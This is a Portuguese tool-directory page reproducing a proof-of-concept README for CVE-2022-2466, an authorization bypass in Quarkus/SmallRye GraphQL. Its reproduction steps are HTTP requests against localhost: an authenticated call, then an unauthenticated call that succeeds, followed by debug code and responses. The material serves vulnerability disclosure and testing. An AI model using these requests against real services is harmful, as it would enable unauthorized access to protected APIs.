Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-2466---Request-Context-not-terminated-with-GraphQL — Prova de conceito para CVE-2022-2466 demonstrando o encerramento não autenticado do contexto de requisição GraphQL em Quarkus/SmallRye, contornando verificações de autorização. | Kitploit
Ferramentas/GitHubGitHub/yuxblank/cve-2022-2466---request-context-not-terminated-with-graphql
Análise de VulnerabilidadesSegurança WebTestes de PenetraçãoAutenticaçãoSegurança de API
GitHubyuxblank/cve-2022-2466---request-context-not-terminated-with-graphql

CVE-2022-2466---Request-Context-not-terminated-with-GraphQL

Prova de conceito para CVE-2022-2466 demonstrando o encerramento não autenticado do contexto de requisição GraphQL em Quarkus/SmallRye, contornando verificações de autorização.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
1há 4 anosAinda não revisado

CVE-2022-2466 Contexto de Requisição não encerrado com GraphQL

Como executar

  1. execute mvn:quarkus:dev
  2. execute as seguintes requisições http

EXECUTE ISTO DUAS VEZES

root@kitploit:~
POST http://localhost:8080/graphql
Content-Type: application/graphql
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJfN3gxcGhILXpKcFpoMVFfaXAtVHRVR3dNTU52OWIyOE9Wcnczc0prU2lrIn0.eyJleHAiOjE2NTg3NTA5NjUsImlhdCI6MTY1ODc1MDY2NSwiYXV0aF90aW1lIjoxNjU4NzUwNjY0LCJqdGkiOiJkNGVhNzA5ZC01YmZkL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mDGgZfMB9uX9ZUBsWXlNvTXhOA5B8oH38fwtde8fbLNPommxC3WakF8F7Z9BjI0pyCeBwk-XVnhZBtdGEd_dqjMvnzaJ7uCw

query {
  exampleQuery
}

EXECUTE ISTO

root@kitploit:~
POST http://localhost:8080/graphql
Content-Type: application/graphql

query {
  exampleQuery
}

A segunda consulta DEVE falhar, pois nenhum cabeçalho Authorization foi definido. JWTAwareContext lança uma exceção quando não há cabeçalhos de autorização.

Se isso não acontecer, tente novamente executar a requisição http 1 e depois a requisição http 2.

Assim que você obtiver a resposta da segunda requisição:

root@kitploit:~
HTTP/1.1 200 OK
content-type: application/graphql+json; charset=UTF-8
content-length: 34

{
  "data": {
    "exampleQuery": "hello!"
  }
}

Entre no SmallRyeGraphQLAbstractHandler em modo debug e encerre o contexto no método handle.

root@kitploit:~
    @Override
    public void handle(final RoutingContext ctx) {

        if (currentManagedContext.isActive()) { // terminate the context here evaluating via debug inspector
            handleWithIdentity(ctx);
        } else {

            currentManagedContext.activate();
            ctx.response()
                    .endHandler(currentManagedContextTerminationHandler)
                    .exceptionHandler(currentManagedContextTerminationHandler)
                    .closeHandler(currentManagedContextTerminationHandler);

            try {
                handleWithIdentity(ctx);
            } catch (Throwable t) {
                currentManagedContext.terminate();
                throw t;
            }
        }
    }

Após o encerramento, a resposta retornará a resposta correta (erro do sistema)

root@kitploit:~
{
  "errors": [
    {
      "message": "System error",
      "locations": [
        {
          "line": 1,
          "column": 11
        }
      ],
      "path": [
        "exampleQuery"
      ],
      "extensions": {
        "classification": "DataFetchingException"
      }
    }
  ],
  "data": {
    "exampleQuery": null
  }
}

Invertendo as requisições

Se você reiniciar e inverter a ordem das requisições, ou seja, DUAS VEZES a requisição 2 e uma vez a requisição 1, você obterá o Erro em vez do sucesso para a requisição OK.

Baixar ferramenta